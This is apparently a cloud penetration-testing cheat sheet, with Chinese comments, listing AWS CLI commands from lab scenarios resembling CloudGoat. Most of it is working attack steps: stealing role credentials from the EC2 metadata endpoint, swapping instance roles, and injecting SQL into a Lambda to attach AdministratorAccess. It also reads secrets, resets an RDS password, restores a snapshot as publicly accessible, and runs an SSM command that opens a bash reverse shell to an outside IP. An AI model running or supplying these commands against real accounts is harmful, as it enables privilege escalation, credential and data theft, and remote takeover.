aws iam get-policy-version --policy-arn [policy_arn] --version-id [version_id]
aws iam set-default-policy-version --policy-arn [policy_arn] --version-id [version_id] --profile rollbackuser
aws iam get-user-policy --user-name [your_user_name] --policy-name [your_policy_name]

# 获取角色配置策略
aws iam list-role-policies --role-name [target-role]
aws iam get-role-policy --role-name [target-role] --policy-name [your_policy_name]
# 枚举所有角色
aws iam list-roles

# 策略配置
# passRole
aws iam attach-user-policy --user-name [username] --policy-arn [policy-arn]

# ec2
# 枚举
aws ec2 describe-instances
# 列举profiles
aws ec2 list-instance-profiles
# 获取实例附加角色
aws iam list-instance-profiles
# 更换实例角色
aws iam remove-role-from-instance-profile --instance-profile-name [instance-profile-name] --role-name [role-name]
aws iam add-role-to-instance-profile --instance-profile-name [instance-profile-name] --role-name [role-name]
# 获取ec2 metedata
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
curl http://169.254.169.254/latest/user-data/

# gen ec2 key
aws ec2 create-key-pair --key-name cg04 --profile attach --region us-east-1 --query 'KeyMaterial' --output text > cg04.pem
chmod 600 cg04.pem
# new instance
aws ec2 run-instances --image-id [copy-from-other-instance] --instance-type t2.micro --iam-instance-profile [profile-arn] --key-name cg04 --subnet-id [subnet-id] --security-group-ids [copy-from-other-instance] --region us-east-1
# 查看实例状态
aws ec2 describe-instance-status --instance-ids [instance-id] --profile attach --region us-east-1
# 关闭实例
aws ec2 terminate-instances --instance-ids [instance-id] --region us-east-1
# 模拟角色
aws sts assume-role --role-arn [role-arn] --role-session-name [whatever_you_want_here]
aws sts assume-role --role-arn arn:aws:iam::818529845881:role/cg-lambda-invoker-vulnerable_lambda_cgid0zbwsxk7ip --role-session-name assumed_role
# 列举安全组
aws ec2 describe-security-groups

# 云函数
aws lambda list-functions
aws lambda get-function --function-name [function_name]
# 函数调用
aws lambda invoke --function-name [function_name] --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess'"'"' --"], "user_name": "cg-bilbo-vulnerable_lambda_cgid0zbwsxk7ip"}' out.txt

# 集群
aws ecs list-clusters
aws ecs list-tasks --cluster [cluster-name] --query taskArns
aws ecs list-container-instances --cluster [cluster-name]
aws ecs describe-tasks --cluster [cluster-name] --tasks <target_task_arn>
aws ecs describe-services --cluster [cluster-name] --services <target-service-name>
# 改变集群内ec2的状态
aws --profile instance-master ecs update-container-instances-state --cluster [cluster-name] --container-instances [instance-name/instance-arn] --status DRAINING
# secrets
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id [secret-arn]

# elb
aws elbv2 describe-load-balancers

# rds
aws rds describe-db-instances --region us-east-1
aws rds create-db-snapshot --db-instance-identifier [DBInstanceIdentifier] --db-snapshot [shot-name]
aws rds describe-db-subnet-groups # db subnet

aws rds modify-db-instance --db-instance-identifier newdb1 --master-user-password [new-pass] --profile cb2

# 从快照导入新建数据库
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier [new-db-name] --db-snapshot-identifier [shot-name] --db-subnet-group-name [subnet-group] --publicly-accessible --vpc-security-group-ids [sg-id]

# codebuild
aws codebuild list-projects
aws codebuild batch-get-projects --names [project-name]

# ssm
aws ssm describe-parameters
aws ssm get-parameter --name <private key name>
aws ssm send-command \
--document-name "AWS-RunShellScript" \
--targets '[{"Key":"InstanceIds","Values":["i-046a61a51e95b6df0"]}]' \
--parameters '{"commands":["#!/bin/bash","yum -y update","/bin/bash -i >& /dev/tcp/101.43.xx.xxx/2333 0>&1"]}'
aws ssm start-session --target i-046a61a51e95b6df0

# codecommit
aws codecommit list-repositories

aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id APKA35FBOIJ42NCPLZPM --encoding PEM --output text --query 'SSHPublicKey.Fingerprint'